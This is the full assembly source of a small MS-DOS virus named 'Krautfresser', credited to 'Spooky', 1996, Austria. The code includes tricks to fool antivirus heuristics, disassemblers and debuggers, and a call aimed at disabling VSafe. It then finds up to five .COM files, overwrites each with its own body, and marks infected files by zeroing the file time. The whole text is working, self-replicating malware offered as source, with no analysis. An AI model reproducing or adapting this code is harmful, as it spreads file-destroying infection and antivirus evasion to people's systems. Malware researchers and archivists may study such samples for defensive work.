2022-08-21 09:07:57 +00:00
|
|
|
.model tiny
|
|
|
|
|
.code
|
|
|
|
|
org 100h
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
start_virus:
|
|
|
|
|
and al,21h
|
|
|
|
|
|
|
|
|
|
mov cx,100h ;for tha tbav
|
|
|
|
|
abc: ;
|
|
|
|
|
loop abc ;
|
|
|
|
|
|
|
|
|
|
;anti_disassembler
|
|
|
|
|
mov cx,09ebh
|
|
|
|
|
mov ax,0fe05h
|
|
|
|
|
jmp $-2
|
|
|
|
|
add ah,03bh
|
|
|
|
|
jmp $-10
|
|
|
|
|
|
|
|
|
|
;anti_debugger
|
|
|
|
|
mov ax,3503h ;save int 3h in bx
|
|
|
|
|
int 21h ;do it
|
|
|
|
|
mov ah,25h ;set new int 3h...
|
|
|
|
|
mov dx,offset new_int_3 ;...to new_int_3
|
|
|
|
|
int 21h ;do it
|
|
|
|
|
xchg bx,dx ;exchange bx,dx (restore original int 3h)
|
|
|
|
|
int 21h ;do it
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
;anti_vsafe
|
|
|
|
|
mov ax,0f9f2h
|
|
|
|
|
add ax,10h
|
|
|
|
|
mov dx,5935h
|
|
|
|
|
add dx,10h
|
|
|
|
|
mov bl,10h
|
|
|
|
|
sub bl,10h
|
|
|
|
|
int 16h
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
mov ah,5eh ;find first
|
|
|
|
|
sub ah,10h
|
|
|
|
|
|
|
|
|
|
mov cx,5h ;5 files to infect
|
|
|
|
|
push cx
|
|
|
|
|
|
|
|
|
|
jmp jojo ;go ta jojo
|
|
|
|
|
find_next:
|
|
|
|
|
push cx
|
|
|
|
|
mov ah,5fh ;find next
|
|
|
|
|
sub ah,10h
|
|
|
|
|
jojo:
|
|
|
|
|
xor cx,cx ;attribut normal
|
|
|
|
|
mov dx,offset star_dot_com ;*.COM
|
|
|
|
|
int 21h ;do it
|
|
|
|
|
jb ende_virus ;no more filz -> ende_virus
|
|
|
|
|
|
|
|
|
|
mov ax,3d02h ;open file
|
|
|
|
|
mov dx,9eh ;file name
|
|
|
|
|
int 21h ;do it
|
|
|
|
|
|
|
|
|
|
mov bx,ax ;move file handler in bx
|
|
|
|
|
|
|
|
|
|
mov ax,5700h ;get file time
|
|
|
|
|
int 21h ;do it
|
|
|
|
|
|
|
|
|
|
cmp cx,0000h ;if file time = 0 then infect it
|
|
|
|
|
je prepare_for_new ;else goto prepare_for_new file search
|
|
|
|
|
|
|
|
|
|
mov ah,50h ;write file (infect it)
|
|
|
|
|
sub ah,10h
|
|
|
|
|
mov cx,offset fin - offset start_virus ;virus size
|
|
|
|
|
mov dx,offset start_virus ;begin at start
|
|
|
|
|
int 21h ;do it
|
|
|
|
|
|
|
|
|
|
mov ax,5701h ;set infected file time
|
|
|
|
|
mov cx,0000h ;to 0000
|
|
|
|
|
int 21h ;do it
|
|
|
|
|
|
|
|
|
|
mov ah,3eh ;close file
|
|
|
|
|
int 21h ;do it
|
|
|
|
|
|
|
|
|
|
pop cx
|
|
|
|
|
push cx
|
|
|
|
|
loop find_next ;look for tha next file to infect
|
|
|
|
|
|
|
|
|
|
ende_virus:
|
|
|
|
|
int 20h ;-> exit
|
|
|
|
|
|
|
|
|
|
prepare_for_new: ;prepare for the next file search
|
|
|
|
|
mov ah,3eh ;close file
|
|
|
|
|
int 21h ;do it
|
|
|
|
|
pop cx
|
|
|
|
|
jmp find_next ;goto find_next file
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
new_int_3: ;new interrupt 3h
|
|
|
|
|
mov ah,9h ;write string to standard output
|
|
|
|
|
mov dx,offset autor ;[easyman written by spooky]
|
|
|
|
|
int 21h ;do it
|
|
|
|
|
mov ah,00h ;wait until keypressed
|
|
|
|
|
int 16h ;do it
|
|
|
|
|
int 20h ;-> terminate debugging
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
autor: db '[Krautfresser written by Spooky]',0dh,0ah ;copyright
|
|
|
|
|
db ' 1996 Austria',0dh,0ah,'$'
|
|
|
|
|
star_dot_com: db '*.com',0 ;filespec
|
|
|
|
|
fin:
|
|
|
|
|
end start_virus
|
